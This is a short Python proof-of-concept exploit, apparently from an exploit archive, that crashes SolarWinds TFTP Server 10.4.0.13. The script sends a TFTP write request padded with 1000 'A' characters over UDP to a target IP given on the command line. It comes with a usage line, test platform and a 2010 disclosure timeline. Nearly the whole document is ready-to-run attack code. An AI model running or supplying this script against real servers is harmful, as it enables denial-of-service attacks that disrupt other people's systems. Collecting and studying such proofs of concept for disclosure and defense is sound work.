Solarwindws TFTP Server 10.4.0.13 Denial Of Service

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#!/usr/bin/python  
print "\n############################################################"  
print "## Nullthreat Network"  
print "## Solarwinds TFTP Server Ver. 10.4.0.13"  
print "## Elliott \"Nullthreat\" Cutright"  
print "## [email protected]"  
print "############################################################"  
print "\n"  
# Summary: An long Write Request (1000 A's) will cause SolarWinds TFTP Server to crash.  
# Tested on: Windows XP SP3  
# Usage: ./solarwindscrash.py <IPADDRESS>  
# Note: It can take the application a few moments to crash, be patiant.  
# Shouts: #SEUnited, Corelan Team  
  
# Discovered: June 6th 2010  
# Vendor Notified: June 9th 2010  
# Patch Released: June 11th 2010  
  
import socket  
import sys  
  
host = sys.argv[1]  
port = 69  
addr = (host,port)  
  
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
  
print "[*] Building Crash"  
crash = "\x41" * 1000  
request = "\x00\x02" + crash + "\x00" + "NETASCII" + "\x00"  
  
print "[*] Sending Crash"  
s.sendto(request, addr)  
  
print "[*] Crash Sent, It can take some time for the app to crash"  
  
`